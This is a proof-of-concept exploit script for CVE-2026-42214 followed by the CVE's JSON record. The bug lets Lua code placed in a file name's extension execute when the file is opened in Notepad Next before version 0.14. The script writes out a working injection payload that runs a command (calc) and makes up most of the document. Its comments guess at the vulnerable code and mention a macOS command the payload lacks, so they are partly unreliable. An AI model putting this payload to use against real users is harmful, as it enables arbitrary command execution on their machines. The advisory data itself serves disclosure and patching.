CVE-2026-42214

import os # Description: This script generates a file with a malicious extension. # When opened in Notepad Next < 0.14, the Lua code in the extension # is executed by the detectLanguageFromExtension() function. # The payload attempts to execute 'calc.exe' (Windows) or 'open -a Calculator' (macOS) # depending on the os library availability. payload = '"] os.execute("calc") -- ' # Construct a filename where the extension contains the Lua injection. # The extension logic in Notepad Next fails to sanitize this. # Original logic might look like: ext = ".. filename_ext .." # We break out of the string and inject commands. malicious_filename = f"innocent_file{payload}.txt" print(f"Creating malicious file: {malicious_filename}") with open(malicious_filename, "w") as f: f.write("This file contains a malicious Lua payload in its extension.") print("File created. Opening this in Notepad Next < 0.14 should trigger the exploit.")

{"cve": {"id": "CVE-2026-42214", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.497", "lastModified": "2026-05-07T20:16:43.850", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notepad Next is a cross-platform, reimplementation of Notepad++. Prior to version 0.14, NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution. This issue has been patched in version 0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/dail8859/NotepadNext/commit/f3ca1b10aca52f05fd7f4f5ebf9b566d6cd95ccc", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/releases/tag/v0.14", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/security/advisories/GHSA-m5fq-c9x5-w54g", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/security/advisories/GHSA-m5fq-c9x5-w54g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}